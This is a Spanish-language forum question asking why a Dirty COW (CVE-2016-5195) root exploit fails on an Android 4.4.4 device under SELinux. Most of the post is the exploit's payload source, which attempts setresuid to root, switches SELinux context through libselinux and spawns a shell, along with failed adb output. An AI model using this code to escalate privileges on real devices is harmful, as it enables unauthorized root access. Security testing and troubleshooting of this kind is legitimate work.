Dirty-COW CVE-2016-5195 no funciona

1

Estoy trabajando en un dispositivo Android 4.4.4 (arquitectura armeabi-v7a) y estoy probando el comportamiento de SELinux utilizando el exploit Dirty-COW CVE-2016-5195 para obtener privilegios de escalamiento y ver qué sucede. He descargado el exploit y lo ejecuté en el shell adb para convertirse en root en el dispositivo, pero no funciona, aquí están los resultados:

carlo@host:~/CVE-2016-5195$ adb shell run-as
uid run-as 2000
setresgid failed: Operation not permitted
setresuid failed: Operation not permitted
uid 2000
0 u:r:runas:s0
context 0 u:r:shell:s0

El código de explotación es: (lo puede encontrar aquí enlace )

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#include <dlfcn.h>
#include <fcntl.h>

#ifdef DEBUG
#include <android/log.h>
#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
#elif PRINT
#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
#else
#define LOGV(...) { printf(__VA_ARGS__); printf("\n"); }
#endif

//reduce binary size
char __aeabi_unwind_cpp_pr0[0];

typedef int getcon_t(char ** con);
typedef int setcon_t(const char* con);

extern int dcow(int argc, const char *argv[]);

int main(int argc, const char **argv)
{
    LOGV("uid %s %d", argv[0], getuid());

    if (setresgid(0, 0, 0)) {
        const char *error1 = strerror(errno);
        LOGV("setresgid failed: %s", error1);
    }

    if (setresuid(0, 0, 0)) {
        const char *error1 = strerror(errno);
        LOGV("setresuid failed: %s", error1);
    }

    LOGV("uid %d", getuid());

    dlerror();
#ifdef __aarch64__
    void * selinux = dlopen("/system/lib64/libselinux.so", RTLD_LAZY);
#else
    void * selinux = dlopen("/system/lib/libselinux.so", RTLD_LAZY);
#endif
    if (selinux) {
        void * getcon = dlsym(selinux, "getcon");
        const char *error = dlerror();
        if (error) {
            LOGV("dlsym error %s", error);
        } else {
            getcon_t * getcon_p = (getcon_t*)getcon;
            char * secontext;
            int ret = (*getcon_p)(&secontext);
            LOGV("%d %s", ret, secontext);
            void * setcon = dlsym(selinux, "setcon");
            const char *error = dlerror();
            if (error) {
                LOGV("dlsym setcon error %s", error);
            } else {
                setcon_t * setcon_p = (setcon_t*)setcon;
                ret = (*setcon_p)("u:r:shell:s0");
                ret = (*getcon_p)(&secontext);
                LOGV("context %d %s", ret, secontext);
            }
        }
        dlclose(selinux);
    } else {
        LOGV("no selinux?");
    }

    system("/system/bin/sh -i");

}

¡Pero cuando ejecuto el comando make test para ver si es vulnerable a este exploit, dice que lo es! Mi pregunta es: ¿a qué se relaciona este problema? ¿Es posible que SELinux sea responsable de bloquear o permitir una llamada al sistema de proceso?

    
pregunta CRazensuar 18.12.2017 - 10:07
fuente

0 respuestas

Lea otras preguntas en las etiquetas